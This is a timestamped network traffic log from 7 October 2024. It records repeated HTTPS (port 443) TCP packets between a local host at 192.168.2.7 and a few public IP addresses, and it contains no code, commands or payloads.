Oct 7, 2024 06:44:14.742714882 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:14.742722988 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.287380934 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:15.287461996 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:15.378259897 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.378987074 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.379019976 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.379966021 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.380084038 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.381666899 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.381675005 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.381979942 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.382028103 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.382769108 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.382796049 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.383081913 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.383099079 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.383694887 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.383708954 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.410599947 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.411235094 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.411286116 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.412014961 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.412030935 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.423863888 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.424609900 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.424638033 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.425100088 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.425107002 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.443473101 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:15.477437019 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.477504969 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.477797031 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.478009939 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.478029966 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.478043079 CEST	49712	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.478049994 CEST	443	49712	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.478945017 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.479028940 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.479099035 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.479815960 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.479839087 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.479892015 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.479912043 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.479924917 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.480046988 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.480215073 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.480215073 CEST	49714	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.480266094 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.480297089 CEST	443	49714	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.483519077 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.483519077 CEST	49711	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.483534098 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.483545065 CEST	443	49711	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.486078024 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.486115932 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.486186028 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.488575935 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.488606930 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.513036966 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.513075113 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.513170004 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.513236046 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.513266087 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.528891087 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.528917074 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.528983116 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.529010057 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.529062986 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.580709934 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.580765963 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.581489086 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.581517935 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.581551075 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.581589937 CEST	49713	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.581604958 CEST	443	49713	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.582870007 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.582911968 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.582931995 CEST	49715	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.582941055 CEST	443	49715	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.585042000 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.585097075 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.585161924 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.585233927 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.585247993 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.586011887 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.586031914 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.587089062 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.587117910 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.587224007 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.587307930 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.587318897 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.598079920 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.598089933 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:15.598169088 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.602363110 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:15.602374077 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.084069967 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 7, 2024 06:44:16.137650967 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.192709923 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.192738056 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.193315029 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.193320990 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.223695040 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.225433111 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.225462914 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.226552010 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.226557970 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.229717970 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.230135918 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.230168104 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.230796099 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.230803967 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.239135027 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.239475965 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.239496946 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.239892960 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.239900112 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.244404078 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.245050907 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.245069981 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.245460987 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.245474100 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.290996075 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.291084051 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.291146994 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.291440010 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.291462898 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.291493893 CEST	49718	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.291501045 CEST	443	49718	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.294907093 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.294954062 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.295087099 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.295315981 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.295331955 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.321381092 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.321456909 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.321511984 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.321805000 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.321805000 CEST	49720	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.321837902 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.321851969 CEST	443	49720	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.324803114 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.324848890 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.324923038 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.325125933 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.325143099 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.330117941 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.330208063 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.330353975 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.330353975 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.330425024 CEST	49721	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.330447912 CEST	443	49721	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.333178997 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.333213091 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.333273888 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.333450079 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.333462954 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.339477062 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.339634895 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.339714050 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.339750051 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.339750051 CEST	49719	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.339771986 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.339785099 CEST	443	49719	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.342008114 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.342027903 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.342082024 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.342204094 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.342212915 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.343296051 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.343502045 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.343570948 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.343641996 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.343641996 CEST	49722	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.343652010 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.343663931 CEST	443	49722	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.345644951 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.345664024 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:16.345717907 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.345843077 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:16.345854998 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.232033968 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.233479023 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.234637022 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.235816002 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.235986948 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.236614943 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.236644030 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.237149954 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.237155914 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.237457991 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.237473965 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.237809896 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.237816095 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.238414049 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.238430023 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.238436937 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.238456011 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.238889933 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.238894939 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.239032984 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.239037037 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.239118099 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.239124060 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.239490032 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.239492893 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.256006002 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:17.336899996 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.337084055 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.337248087 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.337357998 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.337377071 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.337388992 CEST	49723	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.337394953 CEST	443	49723	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.338548899 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.338707924 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.338913918 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.338942051 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.338954926 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.339026928 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.339076042 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.339080095 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.339099884 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.339113951 CEST	49726	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.339114904 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.339118958 CEST	443	49726	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.339153051 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.339766026 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.340019941 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.340045929 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.340069056 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.340069056 CEST	49727	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.340069056 CEST	49724	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.340076923 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.340085030 CEST	443	49727	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.340090990 CEST	443	49724	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.342268944 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.343318939 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.343357086 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.343359947 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.343415976 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.344882011 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.344911098 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.344980955 CEST	49725	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.344997883 CEST	443	49725	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.345012903 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.345774889 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.345792055 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.346515894 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.346539021 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.346570969 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.346582890 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.346600056 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.346981049 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.346997023 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.347249031 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.347271919 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.347322941 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.347487926 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.347496986 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.348223925 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.348262072 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.348360062 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.348465919 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.348479033 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.893692970 CEST	443	49703	104.98.116.138	192.168.2.7
Oct 7, 2024 06:44:17.894995928 CEST	49703	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:17.986562014 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.987030029 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.987132072 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.987154007 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.987623930 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.987653971 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.987797976 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.987804890 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:17.988102913 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:17.988109112 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.011674881 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.014034033 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.014472008 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.014503002 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.014537096 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.014556885 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.014955997 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.014961004 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.015022993 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.015032053 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.021750927 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.023181915 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.023195028 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.023627043 CEST	49728	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.023632050 CEST	443	49728	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.086636066 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.086704016 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.086777925 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.086975098 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.086997986 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.087012053 CEST	49730	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.087018967 CEST	443	49730	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.087609053 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.087783098 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.087840080 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.087970972 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.087994099 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.088004112 CEST	49732	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.088010073 CEST	443	49732	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.089585066 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.089617968 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.089695930 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.089811087 CEST	49733	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.089823008 CEST	443	49733	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.089842081 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.089849949 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.090923071 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.090993881 CEST	49734	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.091001034 CEST	443	49734	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.114842892 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.114901066 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.114979982 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.115171909 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.115190029 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.115200996 CEST	49731	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.115206003 CEST	443	49731	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.117393017 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.117455006 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.117511988 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.117666960 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.117688894 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.117702961 CEST	49729	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.117712021 CEST	443	49729	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:18.118429899 CEST	49735	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:18.118469000 CEST	443	49735	13.107.246.60	192.168.2.7
